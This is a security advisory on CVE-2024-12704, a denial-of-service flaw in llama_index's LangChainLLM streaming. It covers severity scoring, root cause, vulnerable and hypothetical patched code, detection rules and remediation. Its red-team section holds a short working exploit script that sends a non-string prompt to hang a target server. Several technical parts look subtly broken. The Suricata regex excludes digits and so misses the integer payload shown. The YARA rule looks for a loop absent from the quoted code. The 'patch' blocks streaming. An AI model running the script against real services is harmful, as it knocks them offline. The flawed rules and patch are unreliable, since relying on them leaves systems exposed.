CVE-2024-12704

Executive Summary

CVE-2024-12704 is a high-severity Denial of Service (DoS) vulnerability affecting the run-llama/llama_index repository, specifically version v0.12.5. The flaw resides in the LangChainLLM class, where the stream_complete method spawns a thread to execute the LLM and retrieves results via the get_response_gen method of the StreamingGeneratorCallbackHandler class. If the thread terminates abnormally before _llm.predict executes, no exception handling exists, causing an infinite loop in get_response_gen. An attacker can trigger this by providing an input of an incorrect type, leading to resource exhaustion and service unavailability.

Supply Chain & Package Security

This vulnerability affects the llama_index Python package, which is distributed via PyPI. Organizations using this package in production environments should verify their version and apply mitigations immediately. The package is widely used in AI/ML pipelines, making it a critical supply chain risk.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: High

The vulnerability is easily exploitable remotely without authentication, making it a significant threat to availability.

Deep Dive & Mechanics

The vulnerability is in the LangChainLLM class within the llama_index library. The stream_complete method uses threading to execute the LLM asynchronously. The get_response_gen method of StreamingGeneratorCallbackHandler is responsible for yielding results. When the thread terminates abnormally (e.g., due to an incorrect input type), the get_response_gen method enters an infinite loop because it continuously waits for a response that never arrives. This consumes CPU resources indefinitely, leading to a Denial of Service.

Root Cause: Lack of exception handling for thread termination in the stream_complete method. The code does not check if the thread completed successfully or handle the case where _llm.predict fails.

Attack Vector: An attacker sends a crafted input (e.g., a non-string type where a string is expected) to the LLM endpoint, causing the thread to crash. The get_response_gen method then loops forever, exhausting server resources.

Vulnerable vs. Patched Code

Vulnerable Code (v0.12.5):

class LangChainLLM:
    def stream_complete(self, prompt):
        # ... setup ...
        thread = threading.Thread(target=self._llm.predict, args=(prompt,))
        thread.start()
        # ... no exception handling ...
        for response in self.callback_handler.get_response_gen():
            yield response

Patched Code (Hypothetical):

class LangChainLLM:
    def stream_complete(self, prompt):
        # ... setup ...
        thread = threading.Thread(target=self._llm.predict, args=(prompt,))
        thread.start()
        # Add timeout and exception handling
        thread.join(timeout=30)
        if not thread.is_alive():
            # Check for thread errors
            if self.callback_handler.error:
                raise RuntimeError("LLM thread failed")
        for response in self.callback_handler.get_response_gen():
            yield response

The patched version should include thread join with timeout, error checking, and proper exception propagation to prevent infinite loops.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Python 3.8+
• llama_index v0.12.5 installed (pip install llama-index==0.12.5)
• A running instance of the vulnerable application

Exploit Script:

import requests

target_url = "http://target:8000/stream_complete"
# Send an integer instead of a string to trigger the thread crash
payload = {"prompt": 12345}

try:
    response = requests.post(target_url, json=payload, stream=True, timeout=10)
    # The server will hang indefinitely
    for chunk in response.iter_content():
        pass
except requests.exceptions.Timeout:
    print("Server is unresponsive - DoS achieved")

Steps:

1. Identify the vulnerable endpoint (e.g., /stream_complete).
2. Send a POST request with an incorrect input type (e.g., integer instead of string).
3. Observe that the server stops responding to subsequent requests.

Blue Team

Detection:

• Monitor for long-running threads in the application process.
• Set up alerts for CPU usage spikes.
• Use the Sigma rule below to detect anomalous input types.

Mitigation:

• Implement input validation to ensure correct types.
• Apply a timeout to the get_response_gen method.
• Use a circuit breaker pattern to limit resource consumption.

Indicators of Compromise (IOCs)

• Network: Repeated POST requests to /stream_complete with non-string JSON payloads.
• Host: High CPU usage by the Python process running llama_index.
• Logs: Error logs showing thread termination without exception handling.
• File: No specific file IOCs; this is a runtime behavior issue.

Detection Engineering

YARA Rule

rule Detect_LangChainLLM_InfiniteLoop {
    meta:
        description = "Detects vulnerable code pattern in llama_index v0.12.5"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-12704"
    strings:
        $vuln_func = "def get_response_gen" ascii
        $thread_call = "threading.Thread" ascii
        $infinite_loop = "while True" ascii
    condition:
        $vuln_func and $thread_call and $infinite_loop
}

Sigma Rule

title: CVE-2024-12704 - Denial of Service via LangChainLLM
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects anomalous input types to llama_index stream_complete endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: python
detection:
    selection:
        http.method: POST
        http.url: "/stream_complete"
        http.body|contains: "prompt"
    filter:
        http.body|json|type: "string"
    condition: selection and not filter
falsepositives:
    - Legitimate non-string inputs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-12704 - DoS via LangChainLLM"; flow:to_server; content:"POST"; http_method; content:"/stream_complete"; http_uri; content:"prompt"; http_client_body; pcre:"/\"prompt\"\s*:\s*[^\"\d]/"; classtype:denial-of-service; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Ensure all inputs to stream_complete are of the expected type (string).
2. Thread Timeout: Add a timeout to the thread join operation.
3. Exception Handling: Wrap the thread execution in a try-except block and propagate errors.

Long-term Fix:

• Upgrade to a patched version of llama_index once available.
• Implement a circuit breaker pattern to prevent resource exhaustion.
• Use asynchronous programming (e.g., asyncio) instead of threading for better error handling.

Workaround:

• Disable the stream_complete endpoint if not needed.
• Use a reverse proxy with rate limiting to mitigate DoS attacks.

Valters IT